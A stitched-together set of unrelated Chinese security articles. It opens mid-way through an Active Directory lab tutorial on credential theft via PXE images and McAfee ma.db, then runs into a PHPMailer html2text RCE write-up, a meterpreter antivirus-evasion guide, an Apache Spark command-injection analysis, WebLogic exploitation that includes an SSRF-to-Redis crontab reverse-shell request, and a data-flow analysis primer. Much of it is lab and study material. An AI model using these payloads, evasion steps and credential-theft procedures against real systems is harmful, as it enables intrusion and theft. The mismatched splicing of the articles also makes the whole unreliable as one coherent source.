稍等15分钟，成功拿到NTLM 拿到NTLMv2-SSP Hash的值去hashcat破解，如下图： 成破解出密码，如下图所示： **第四种方法，利用Microsoft Deployment Toolkit** 大型企业的管理员不可能拿着USB一个一个为每台电脑装软件，微软提供了Microsoft Deployment Toolkit(MDT)服务来管理企业资产。大型组织使用Preboot Execution Environment，即PXE （预引导执行环境）引导来允许连接到网络的新设备直接通过网络连接加载和安装操作系统，MDT 可用于创建、管理和托管 PXE 启动映像，下图是通信流程： （1）用户发送DHCP发现（请求ip地址和pxe服务信息） （2）DHCP服务返回用户需要的ip和pex服务信息 （3）用户发送DHCP请求，要分配ip地址给用户 （4）服务返回DHCP承认 （5）客户端执行启动服务发现 （6）MDT服务返回承认消息，并发送PXR信息 （7）客户端发送PXE boot请求 （8）服务端通过TFTP返回PXE boot请求 你可能会问拿到PXE的引导镜像有什么用？第一，可以注入提权向量，在PXE启动完成后获取管理员访问权限。第二可以抓取密码，获取AD内的账户密码。理论上我们按照通信流程就执行这种攻击，不过要让自己的设备加入进对方企业的域实在是太过苛刻（除了社工我想不出其他办法加入对面网络），我们就跳过前面的ip获取，假设我们已经拿到了一台服务器的权限，通过某种方法找到了MDT 服务器的 IP（也许是扫描，也许是历史文件等等），就像是如下靶场利用一般： 这里是我们在靶场预先给好的ip地址，10.200.26.202和bcd文件名称，一般来说，我们需要把每个 BCD 文件都拿下来，检查配置情况，不过这里就只检查特定的bcd节约时间： 使用tftp -i 10.200.26.202 GET "\Tmp\x64{8193F713-2552-4A20-9ABE-13A9443BAC58}.bcd" conf.bcd 获取 拿到.bcd文件之后我们需要确定系统镜像的位置，这里用到了一个powershell脚本PowerPXE.ps1 （<https://github.com/wavestone-cdt/powerpxe）> 依次执行即可获取系统路径 powershell -executionpolicy bypass Import-Module .\PowerPXE.ps1 Get-WimFile -bcdFile $BCDFile 拿到系统路径后我们就可以下载系统了，局域网网速一般都很快。 tftp -i 10.200.26.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim 下载文件 也是刚刚用的脚本，使用Get-FindCredentials -WimFile pxeboot.wim成功恢复密码： **第六种，配置文件泄露出AD用户的账户密码。** 集中部署的应用程序的配置文件、注册表、应用服务、web服务的配置文件都值得我们关注，常用的工具有Seatbelt和winPEAS，可以自动化帮我们寻找敏感密码。本靶场已经提供了ma.db的数据库文件，它是McAfee Enterprise Endpoint Security的文件，McAfee 将安装期间使用的凭据嵌入到名为 ma.db 的文件中以连接回 orchestrator，靶场已经告诉我们文件位置： 使用scp命令下载到本地来解密： 查看数据库也非常简单，直接kali下用sqlitebrowser ma.db直接打开： 翻找密码，成功找到域的账户auth_user和auth_password，需要解密auth_password 解密成功： 拿到了合法的账户通常我们就可以登录我们的目标主机了。但是上面拿到的账号，并不一定每个账号都能直接登录，这里要提一下runas.exe，Runas将凭据注入内存中，使得当前的cmd执行命令的使用用的是特定账号的权限。下面是常用的命令（需要管理员运行）：runas.exe /netonly /user:<domain>\<username> cmd.exe 之后会启动一个新的cmd.exe,为了确保账号正常工作，需要执行一下dir \<dc ip="">\SYSVOL命令来保证账号的有效性。</dc></username></domain> 通常使用三种方式对AD进行信息收集：cmd、powershell、bloodhound,通常来说这三种都差不多，但就个人而言bloodhound是图形化的，非常方便，powershell的命令远比cmd的命令好记忆，看个人习惯去使用即可。需要注意，信息收集和漏洞利用密切相关，漏洞利用后又需要信息收集，渗透本身就是一个信息收集的过程，在复杂域下更是如此，这里就浅解释一下载体，具体信息在渗透中有什么作用将放到下篇仔细说明。 在cmd下执行命令通常使用net命令，一般来说此类命令不太会被蓝队和EDR监控，不过这类命令执行必须要在域内的主机才可以执行，同时如果命令返回的数量太多，net就不会返回全部信息。常见的命令如下： net user /domain 列出域下的全部用户 net user zoe.marshall /domain 检查zoe.marshall用户的详细信息 net group /domain 检查域下的组 net group "Tier 1 Admins" /domain 检查特定组的详细信息 net accounts /domain列出账户策略信息 在powershell中进行信息收集无需我们控制的机器加入到域环境内，仅仅只需要指定域服务器即可，以下是常用命令： Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * -Identity代表我们要查询的用户名 -Properties 代表与帐户关联的属性，* 将显示所有属性 -Server 指定域名 在大型复杂域环境下采用bloodhound图形化分析是非常常见的手法，这里个人强烈推荐kali安装bloodhound，如果用windows安装会浪费你大量的时间，出现各种兼容性的问题，具体安装可以参考<https://www.freebuf.com/articles/web/288370.html，> 这里不再赘述。bloodhound可能会产生大量日志引起安全设备告警，算是各有优缺点了。我们需要去github内找到collectors目录，信息收集器有exe和ps1的，如果你喜欢无文件渗透，可以使用powershell远程加载或者使用C#版本的内存加载运行，完全取决于你。 这里用exe用法举例，有非常多的选项，我们一般要收集全部信息命令如下： Sharphound.exe --CollectionMethods All --Domain za.tryhackme.com –ExcludeDCs \--CollectionMethods，确定 Sharphound 将收集的数据类型,我们可以手动修改，类型非常多，如下图给出。 \--Domain 指定要枚举的域名，如果域非常复杂，可以可能想要枚举与现有域信任的父域或其他域，用此参数即可控制。 –ExcludeDCs：这将指示 Sharphound 不要接触域控制器，这会降低 Sharphound 运行引发警报的可能性。 工具非常复杂，师傅们有兴趣可以进一步查阅文档了解相关用法，调整参数降低被蓝队发现的概率： 运行完成后会在当前生成一个zip文件，用鼠标直接拖到bloodhound里面就行了，需要注意我们的bloodhound必须用最新版本的，才能和github的兼容，不然没办法导入成功。 Bloodhound揭示了域内账户直接的关系，这些关系到底有什么用下面靶场举了一个简单的图片： 上图所示，我们在右上角搜寻开始节点MARCUS.GARNER和目的节点Tier 1 ADMINS，Tier 1 ADMINS属于管理员组，我们最开始拿到的账户是MARCUS.GARNER账户，途中展示了我们怎么才能到Tier 1 ADMINS。首先MARCUS根据图片DOMAIN [email protected]， [email protected]可以RDP进入THMJMP1.ZA.TRYHACKME.COM，THMJMP1.ZA.TRYHACKME.COM内部含有[email protected]的会话，如果我们能权限提升成管理员就能偷走它的hash，就能获取Tier 1 ADMINS的管理员权限，实战中可能路径有更多，而且不一定都能走通，需要根据情况选择最佳路径，实战可以一个CVE就打下来了，也可能横向非常复杂，甚至压根走不通。 总结，本篇围绕AD凭据的获取介绍了几种常用的获取初始立足点的方法，这种方法在国内都是利用漏洞打点实际可能作用不是特别大，仅仅做了解，算是扩充一下师傅们的思路，后半部分补充了一下常用的信息收集的工具，其实也是老生常谈的东西了，真要展开也不是几千字能搞完的了，后续看情况在聊一下AD的利用和权限维持吧，最后，感谢大家看到这里。 参考资料和数据来源： <https://www.cnblogs.com/straycats/p/7487780.html> <https://docs.gitlab.com/charts/charts/globals.html#omniauth> <https://tryhackme.com/room/breachingad> <https://www.jianshu.com/p/083cf462fed4> <https://quake.360.net/> <https://github.com/lgandx/Responder> <https://www.redhat.com/zh/topics/security/what-is-ldap-authentication#%E7%BA%A2%E5%B8%BD%E4%BC%81%E4%B8%9A-linux-%E9%99%84%E5%B8%A6-ldap> <https://github.com/lgandx/Responder> <https://github.com/wavestone-cdt/powerpxe> <https://www.freebuf.com/articles/web/288370.html> <https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>
社区文章
Author:sevck Date:2016-6-20(发现时间) 0x00 漏洞概要 首先，这不是之前的曝光的PHPMailer漏洞，实际上本人发现的比前一阵发现的早一些，但是是老版本，后期也没有时间去审计新版本的代码，说不定也是有机会拿到这几个CVE的，哈哈哈... 之前发现了这个，发现很好玩，也很好利用，申请CVE的时候才发现让老外申请了，但是测试时发现，其实很多开源的CMS还在使用。 0x01 漏洞分析 我们来看一下phpmailer在程序中是如何处理的,首先，需要有一个接收输入的参数，这里可以是订阅、回复等： 这里接收了一个邮箱订阅的参数，我们来跟踪下看phpmailer在后端是如何处理的： 接下来phpmailer会调用html2text来进行处理，相关代码如下： 我们可以看到在发送前交给了html2text来处理，然后phpmailer进行发送，我们再去跟踪html2text这里，看看他是如何处理的： 可以看出来preg_replace使用了/e参数,通过正则处理完的内容再发送出去。 通过以上代码我们从新再理一遍，email在拼接用户输入的字符串，尽管使用了mysql_real_escape_string，但是并不能证明这是安全的。然后进入了html2text的preg_replace，然后正则刚好带有/e的表现，从而导致了代码执行。 我们再去看官网提供最新版本看一下，通过github上，我们通过看changelog看到： phpmailer因为兼容问题不再提供了html2text,需要用户自己写。事实上很多开发者仍然还在使用之前官网提供的html2text，我们搜索下相关CMS： 发现有很多仍然在使用。当然，实质上不仅仅影响phpmailer了，凡是使用了html2text都将会存在远程命令执行漏洞的可能性 0x02 相关案例 邮箱订阅处，使用Burp Suite的中继器，修改email参数的内容： 成功执行了命令，尽管过滤了敏感的字符，但是通过ASCII码仍然可以进行绕过，比如反弹shell 在这期间还有一个有意思的是，接收的参数email=${@system(ls)},但是不允许输入一些敏感的字符或者是带空格的命令。广大基友们也会经常遇到执行命令不能用空格的问题，有的人会用到$IFS,但是遇到基本的安全产品就不行了，总结了几个姿势，分享给大家： 1.!! (比较鸡肋，需要先执行上一条命令才能执行)[code][root@iZ28wg1kditZ tmp]# pwd /tmp [root@iZ28wg1kditZ tmp]# !! pwd /tmp [root@iZ28wg1kditZ tmp]#[/code] 2.$IFS (这个没什么好说的了) [code][root@iZ28wg1kditZ tmp]# ls$IFS-al total 40 drwxrwxrwt. 8 root root 4096 Nov 17 04:18 . dr-xr-xr-x. 27 root root 4096 Nov 14 16:27 .. -rw-r--r-- 1 root root 460 Nov 14 16:27 cron.rule drwxrwxrwx 2 502 test2 4096 Nov 8 11:01 disktables -rw-rw-r-- 1 501 filetest 0 Nov 8 10:58 file drwxrw-r-- 2 root root 4096 Nov 16 15:57 rd4Xy6JfY9 drwxr-xr-x 2 root root 4096 Nov 10 09:56 test drwxrw-r-- 2 root root 4096 Nov 14 16:52 XUgJsg1WK6[/code]3.{} (这个估计很少人知道)[code][root@iZ28wg1kditZ tmp]# {ls,-al} total 40 drwxrwxrwt. 8 root root 4096 Nov 17 04:18 . dr-xr-xr-x. 27 root root 4096 Nov 14 16:27 .. -rw-r--r-- 1 root root 460 Nov 14 16:27 cron.rule drwxrwxrwx 2 502 test2 4096 Nov 8 11:01 disktables -rw-rw-r-- 1 501 filetest 0 Nov 8 10:58 file drwxrw-r-- 2 root root 4096 Nov 16 15:57 rd4Xy6JfY9 drwxr-xr-x 2 root root 4096 Nov 10 09:56 test drwxrw-r-- 2 root root 4096 Nov 14 16:52 XUgJsg1WK6 [root@iZ28wg1kditZ tmp]#[/code]4.<> (这个是有一天和'雨 交流得到的 ) [code][root@iZ28wg1kditZ tmp]# cat<>test hello [root@iZ28wg1kditZ tmp]# cat test 8 hello[/code]5.\x20 (这个实际利用了bash) [code][root@iZ28wg1kditZ ~]# CMD=$'\x20/etc/passwd'&&cat$CMD root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin[/code] 有兴趣的同学可以亲自尝试一下，或者卡在这个空格不能执行命令的童鞋也可以尝试一下，当然也欢迎小伙伴们交流。 Blog: <http://www.cnblogs.com/sevck/>
社区文章
# win10内存执行meterpreter绕过杀软第二弹 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 坎宁汉姆的定律是这样的：“在互联网上获得正确答案的最好方法并不是去问一个问题，而是发布一个错误的答案”。 然而，自从我发布上篇博文《win10内存花式执行meterpreter绕过杀软》后却没有收到负面反馈，不过我自己已经发现了一些问题： 以下是我目前为止发现的： l 绝大多数杀软使用默认配置就能检测到nps_payload，因为它在后端使用了msfvenom来生成可执行的powershell代码。 l 从webDAV上获取文件对磁盘并不是“零写入的”，在C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV这个目录中你可以找到一些内容。 l Msbuild也不是零写入的，执行的时候会在C:Users[USER]AppDataLocalTemp[RANDOM]写入一些内容。不过，跟webDAV不一样，执行之后它会自我清理。 好消息是我可以修复第一个问题，下面是修复的步骤： ## 使用Veil 假设你已经安装了Veil，并且使用nps_payload生成了msbuild_nps.xml文件。 使用下面的参数运行Veil： 执行后你会得到一个payload.bat文件。根据靶机架构不同，我们会复制相对应的命令。下面我对x64架构进行了高亮显示。 在上面的这段payload中，需要删除”位置处的转义字符 （有两处）。 这种转义在Windows命令行中是需要的，但是我们要进行的操作并不需要。 现在需要进行base64编码。一种简单的编码方式是复制到一个文件中，运行如下命令： 复制base64输出内容，替换掉msbuild_nps.xml文件中的cmd命令。确保不要覆盖了闭合引号和分号。 现在你可以再次运行nps_payload，选择option4，将你的filename.txt作为输入：自定义PS1脚本。 这就OK了，告别烦人的Windows Defender。 ## 使用Invoke-Obfuscation 首先，在一个有powershell的系统上获取Invoke-Obfuscation.运行在你自己的系统上，而不是靶机。 Windows Defender又会跳出来拦截你的操作： 在我这个例子中，最终还是得以执行。 为了获得初始的powershell脚本，你可以像执行nps-payload脚本一样使用msfvenom: msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.137.134 LPORT=443 –arch x86 –platform win -f psh -o msf_payload.txt 我使用了python的简单http server模块，通过http方式传到主机上。这将帮助我们更好的把它插入到Invoke-Obfuscation中。 使用Invoke-Obfuscation，我们需要利用的powershell脚本如下： 选择任意方法进行混淆，这里我选择“Token All” 执行后可以得到如下内容： 这就是你的powershell脚本。当你执行invoking，选择option4自定义PS1脚本时，你可以把它作为一个新文件插入这个脚本到nps-payload中。 ## 使用Franci Šacer的nps-payload版本 先去GitHub上下载他的版本：<https://github.com/fsacer/nps_payload> 选择“Generate msbuild/nps/msf CSharp payload” 按照上面的步骤执行。这种方式根本没使用powershell，所以不会像使用其他方式一样被检测到。 我感觉这是所有方法中最好的一种，所以我把它放到最后，是想延长微软开始对它进行检测的时间。 因为我一放出这种方式，微软肯定会有所行动。 审核人：yiwang 编辑：边边
社区文章
**作者：xxhzz@星阑科技PortalLab 原文链接：<https://mp.weixin.qq.com/s/ajggDNF__M4pC_pCf5eTsw>** ## **漏洞描述** 7月18号，Apache发布安全公告，修复了一个Apache Spark中存在的命令注入漏洞。漏洞编号：CVE-2022-33891，漏洞威胁等级：高危。Apache Spark UI提供了通过配置选项Spark .acl .enable启用acl的可能性。使用身份验证过滤器，这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了acl, HttpSecurityFilter中的代码路径可以允许某人通过提供任意用户名来执行模拟。 恶意用户可能能够访问权限检查功能，该功能最终将根据他们的输入构建一个 Unix shell 命令并执行它。这将导致任意 shell 命令执行。 ## **相关介绍** Apache Spark是美国阿帕奇（Apache）软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。Spark优点在于能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。 ## **利用范围** Spark Core - Apache <=3.0.3 3.1.1 <= Spark Core - Apache <=3.1.2 3.2.0 <= Spark Core - Apache <=3.2.1 ## **漏洞分析** ### **环境搭建** 在官网（<https://archive.apache.org/dist/spark>）下载Apache Spark 3.2.1版本进行漏洞复现分析。 漏洞触发的关键在于是否启用ACL，使用身份验证过滤器。 启用ACL的两种方式： 1、通过设置选项 spark.acls.enable 启用 。 2、运行spark-shell时，通过-c参数启动。 为更好分析漏洞，在运行spark-shell前，需在其中进行远程调试配置 export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" 配置完成后运行spark-shell，并开启ACL ./spark-shell --conf spark.acls.enable=true ### **漏洞原理** 根据diff（<https://github.com/apache/spark/pull/36315/files>）分析。 如上所示，使用命令拼接且没有做任何处理，而在修复的版本中直接删除了ShellBasedGroupsMappingProvider函数中对bash的调用。 ### **动态分析** 了解漏洞原理之后，就该考虑如何触发漏洞。 在Apache spark启用ACL后，会通过HttpSecurityFilter这个filter进行权限的校验。 首先将断点打在org.apache.spark.ui.HttpSecurityFilter#doFilter函数处。 在进入doFilter函数之后，首先会提取参数“doAs”的值，然后赋值给effectiveUser，进入org.apache.spark.SecurityManager#checkUIViewPermissions函数。 后续跟进一系列函数进行处理。 进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups函数时，username为传入参数。 随后进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups函数。 在这里username进行了拼接处理，因为我们传入的username参数可控，便形成了命令注入。 后续将通过executeAndGetOutput函数直接触发传入的命令，造成命令执行。 ### **漏洞复现** 通过反单引号和参数“doAs”成功命令注入。 ## **修复建议** 建议受影响的用户升级到安全版本：Apache Spark 3.1.3、3.2.2 或 3.3.0 或更高版本。 ## **参考材料** 1.<https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc> 2.<https://archive.apache.org/dist/spark/> 3.<https://github.com/apache/spark/pull/36315/files> * * *
社区文章
### 0x00 WebLogic 介绍及常见漏洞 WebLogic是美国Oracle公司出品的一个Application Server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 WebLogic常用端口7001/7002，常见漏洞有弱口令导致上传任意war包、SSRF漏洞和反序列化漏洞。本文将利用phith0n提供的漏洞利用环境进行验证(在此向P牛致敬，感谢无私奉献)，Weblogic的环境地址[https://github.com/phith0n/vulhub/tree/master/weblogic。](https://github.com/phith0n/vulhub/tree/master/weblogic%E3%80%82) ### 0x01 WebLogic 弱口令导致上传并部署war包获取WEBSHELL 通过WebLogic弱口令登录后，上传war包，来获取WEBSHELL。 下载项目后进入到`/weblogic/weak_password`目录，运行命令`sudo docker-compose build`进行编译（请参照<https://github.com/phith0n/vulhub/blob/master/README.md> 进行docker的安装）。 编译完成后进行启动 使用如下命令： fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker-compose up -d #启动 fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker ps #查看启动的docker Ubuntu的ip为192.168.232.137，WebLogic的访问地址为：[http://192.168.232.137:7001](http://192.168.232.137:7001/) 访问 <http://192.168.232.137:7001/console> 会跳转到管理员登录页面<http://192.168.232.137:7001/console/login/LoginForm.jsp> 这里用户名密码分别为：weblogic/Oracle@123 上传war过程如下图所示 总结起来就是：`域结构-部署-安装-上传文件-将此部署安装为应用程序`。然后访问项目名称即可。 > > 如果不存在弱口令，可以根据其他漏洞获取SerializedSystemIni.dat和config.xml，然后解密即可。具体案例可以参考<https://github.com/phith0n/vulhub/blob/master/weblogic/weak_password/README.md> > ，这里采用了任意文件读取漏洞，获取了SerializedSystemIni.dat和config.xml文件内容，然后解密。 **WebLogic加密解密方式** WebLogic 11gR1后采用了AES的加密方式，默认的管理密码文件存放于： `安装目录/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties` 例如靶机中的密码文件位于： `/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties` 内容为： username={AES}xdwPe62ds+jcPCQwwLn/VR3fI0e9ZGkFz96ZBqmvRpY= password={AES}dv/eNBsyg5GcDUbAKaQRheDZhzVk9yiTYVpXlGt9wEU= 加密key保存在SerializedSystemIni.dat文件中。默认位置： `安装目录/user_projects/domains/base_domain/security/SerializedSystemIni.dat` 靶机中的位于： `/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat` 采用这两个文件就可以进行解密了。 WebLogic 11gR1之前的版本采用的DES加密方式。 `安装目录/samples/domains/wl_server/security/boot.properties` 内容格式： username={3DES}fy709SQ4pCHAFk+lIxiWfw== password={3DES}fy709SQ4pCHAFk+lIxiWfw== 采用上面的解密工具即可解密。 ### 0x02 WebLogic SSRF漏洞 漏洞编号：CVE-2014-4210 漏洞影响： 版本10.0.2,10.3.6 Oracle WebLogic Web Server既可以被外部主机访问，同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp，我们可以利用它进行攻击，未经授权通过weblogic server连接任意主机的任意TCP 端口，可以能冗长的响应来推断在此端口上是否有服务在监听此端口。 进入到`/weblogic/ssrf`目录，运行命令`sudo docker-compose build`进行编译。 > 编译时将Dockerfile文件中的第六行`&amp;&amp; yum update \`修改为`&amp;&amp; yum update -y > \`，不然会出现错误`ERROR: Service &#39;redis&#39; failed to build: The command > &#39;/bin/sh -c set -ex &amp;&amp; yum update &amp;&amp; yum install -y > gcc-c++ tcl wget&#39; returned a non-zero code: 1`。并且无法编译。（感谢P牛的解答） 编译完成后进行启动 使用如下命令： fuping@ubuntu:~/Git/vulhub/weblogic/ssrf$ sudo docker-compose up -d #启动 fuping@ubuntu:~/Git/vulhub/weblogic/ssrf$ sudo docker ps #查看启动的docker 利用[脚本](https://github.com/fupinglee/MyPython/blob/master/weblogic/weblogic_ssrf.py)扫描内网开放端口的主机。 根据<https://github.com/phith0n/vulhub/blob/master/weblogic/ssrf/README.md> 利用Redis反弹shell 在Ubuntu上执行命令`nc -l -p 1234` 发送请求包 GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.232.137%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1 Host: 192.168.232.137:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; ADMINCONSOLESESSION=6L9hZ1GCsBrQWk49rcJ5K1zxygCPpysB4FrD8xk27XV50KzBh2rT!657144266; JSESSIONID=Q92gZ1fYpmLHP5yCxg4TpdjKCTTHhKTTZS1XKXTNDNf40R80H5J0!-1544297006 Connection: close Upgrade-Insecure-Requests: 1 过一会查看Ubuntu可以看到一个shell **修复建议：** 1.如果业务不需要UDDI功能，就关闭这个功能。可以删除uddiexporer文件夹，可以可在/weblogicPath/server/lib/uddiexplorer.war解压后，注释掉上面的jsp再打包。 2.安装oracle的更新包。 ### 0x03 WebLogic 反序列化漏洞 漏洞编号：CVE-2015-4852 漏洞影响： Oracle WebLogic Server 12.2.1.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.1.2.0 Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0版本中，WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量，其中包含精心构造的序列化Java对象利用此漏洞。此漏洞影响到WLS Security Handler的文件oracle_common/modules/com.bea.core.apache.commons.collections.jar内一个未知的函数。 这里还以SSRF的环境为例。 使用WebLogic反序列化工具进行验证（作者：rebeyond)。 一般web项目位于`/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/`中 发现没有_WL_user目录，所以把shell上传到自带的项目中。 通过执行命令`ls /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/` 发现有三个目录，分别为bea_wls9_async_response、bea_wls_internal和uddiexplorer。 将shell文件上传到任意一个目录下的war文件即可。 上传路径`/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt` 上传路径`/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw/war/jspy.jsp` 也可以使用weget下载。 使用weak_password时，上传路径为 `/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/1.txt` > 找WEB绝对路径的另一种方式，Linux下使用命令`find -name > *.jsp`来查找，例如已知hello项目里面有个file.jsp，则查找的命令为`find -name > file.jsp`。对于Windows下，使用`for /r c:\ %i in (file*.jsp) do @echo > %i`，也可以通过查看config/config.xml文件内容来确定web项目的绝对路径。 **linux下查找文件路径** **Windows下查找路径** **修复建议：** 1.过滤T3协议 2.安装补丁 ### 0x04 总结 主要采用了phith0n提供的WebLogic利用环境进行对WebLogic漏洞的验证。包括有WebLogic弱口令获取WEBSHELL、SSRF漏洞利用和WebLogic反序列化漏洞的利用等。总结下来一共有这三个问题。 1.对于WebLogic弱口令，如何去上传WEBSHELL 2.对于SSRF漏洞，如何探测内网存活的主机以及开放的端口，并如何利用这些端口。 3.对于反序列化漏洞，如何快速的找到WEB路径以及对应的物理路径。 ### 0x05 参考 [1]<https://github.com/phith0n/vulhub/tree/master/weblogic> [2]<http://blog.csdn.net/chs007chs/article/details/52514888>
社区文章
# 程序分析理论 数据流分析第一部分 介绍 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 本文是程序分析理论系列的第二篇，内容为数据流分析的介绍及可计算的简单验证 ## 数据流分析 Data Flow Analysis ### 定义方式及可计算性验证 Define mode and computability verification 在数据流分析法中，将程序转化成流程图是第一步。流程图包括代码块，和代码块之间的逻辑关系。 下图为一个示例。依旧以上一篇文章中的代码为例，转化为流程图则如 Figure 1所示 Figure 1 和上一篇文章中描述程序的方法类似，[ ]将表达式包裹，右上角为标签，除此之外多了表示逻辑关系的箭头以及简单的标记 如（yes or no）来确定分支。 接下来，为了让分析器能够获取信息，我们将流程图转化成一系列方程，来将代码逻辑关系用数学的方式表示出来。依旧延续着上一篇文章的定义原则。将一句代码划分为入口状态RD entry和出口状态RD exit 同时用形如 (v,l) 的表达式来定义关于v变量的改变。我们以第一句为例子做一个演示。原代码为 y = x 的一个赋值语句。RD exit(1) 就可以等价于 RD entry(1)中 y 的赋值语句 (y,l) 并上 此时y的赋值语句(y,1)。此时的 l 为在这一段代码开始之前的对于代码进行定义后的那个赋值语句的标签。而这个标签存储在 Lab 中。Lab是存储 l 的一个表格。完整的表示如图所示。 此时，我们将代码的本身数理结构表达清楚了，还要对语句之间的逻辑关系进行表达。即这一句代码的入口状态是哪一句代码的出口状态。我们可以简单的用形如RD entry (2) = RD exit(1)的方程进行定义。 上述的定义方法本身很容易想到正如同我们认为分析代码一样，变量的值从哪来到哪去，代码逻辑从这一句到那一句，但是，我们需要验证我们所提供的方程式具有可计算性。 关于可计算性的验证需要半序集和完全格的知识 **预备知识 Preliminaries** **半序集 partially ordered set** 半序关系是一种具有反射性，传递性，反对称性的关系 半序集是具有半序关系的集合 取一个半序集 L 的子集 Y ，存在 l 属于 L ，假设 任取一个 l’ 属于 Y 满足 l’ 包含于 l 那么将 l 作为上限。同样的 假设 任取一个 l’ 属于 Y 满足 l 包含于 l‘ 则 l 为下限。当存在最大的下限和最小的上限时，就称他为有上确界和下确界。 **完全格 complete lattice** 格 是一种特殊的偏序集 完全格 是所有子集都有上确界和下确界的半序集 同时，完全格有一个定理 即 有上确界的半序集一定有下确界反之亦然。 对于两个半序集的映射关系具有以下性质： 1.满射 即 任意取L1中的一个元素对应的映射一定在L2中且一 一对应 2.如果 l包含于 l‘ 那么 f (l) 包含于 f (l’) 3.f (l ∏ l’) = f (l) ∏ f (l’) 并集一样 4.f (ㄩ Y) = ㄩ’{f (l’) | l’ ∈ Y } 下限一样 **构造完全格 constructure of complete lattice** 构造完全格有以下几种方法：两个完全格的笛卡尔积，一个集合和一个完全格在满射关系下构成的新集合，两个完全格在单调关系下构成的新集合。 笛卡尔乘积是集合的运算符，表示了两个集合构成新的集合的所有元素 论证：两个完全格的笛卡尔积依旧是一个完全格： ​ L1 = （L1,с1） L2 = （L2,с2） —> L = L1 X L2 = { ( l1 , l2 ) | l1 ∈ L1 ^ l2 ∈ L2} 因为 L1 和 L2 都是完全格，都有上确界和下确界，所以 l1 和 l2 都有最小的最大值和最大的最小值。也就是说，对于L 存在（ l1, l2 ）是L 的上确界和下确界。 论证：一个完全格和一个集合在满射的函数关系下构成的新集合是完全格： ​ 我们定义L1 是完全格 ，S 是一个集合 ​ L = {f : S -> L1 | f 是满射的} ​ 每一个属于S 的s都对应一个属于L1 的l1，也就是说新集合L 依旧有着上确界和下确界 论证：两个完全格在单调函数关系下构成的新集合是完全格： ​ L1是完全格，L2 是完全格 ，f是单调函数关系 ​ L = {f :L1 -> L2 | f 是单调的} ​ 即L1 的上确界和下确界一一对应L2 的上确界和下确界，显然L也是完全格 **链 chain** 我们将集合各元素组成链用以研究集合内部关系 根据集合各元素不相同，且完全格具有上确界和下确界。我们可以构造一条上下界明确的单调链。以下界为极限则单调递减，以上界为极限则单调递增。 **讨论** 